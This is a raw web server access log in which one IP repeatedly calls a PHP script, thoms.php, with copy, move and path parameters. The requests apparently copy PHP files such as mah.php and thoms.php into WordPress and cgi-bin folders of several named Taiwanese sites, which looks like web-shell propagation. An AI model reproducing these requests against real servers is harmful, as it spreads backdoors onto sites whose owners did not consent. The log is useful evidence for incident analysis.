45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 200 14107 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17387 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?copy=mah.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 200 59438 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 12584 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20599 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 12039 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13409 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22828 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28927 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20591 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13781 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13605 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?copy=mah.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14089 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:10 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20783 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20782 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?copy=mah.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?p=betcity.com.tw%2F.well-known HTTP/1.1" 200 12582 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?copy=mah.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?copy=mah.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?copy=mah.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?copy=mah.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 12036 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13409 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?copy=mah.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?copy=mah.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13420 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:11 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13775 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?copy=mah.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?copy=mah.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 12041 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13424 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?copy=mah.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?copy=mah.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?copy=mah.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29072 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?copy=mah.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13615 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13764 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59398 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?copy=mah.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 12584 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20742 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?copy=mah.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13425 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:12 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 200 11394 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20742 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17387 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17386 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
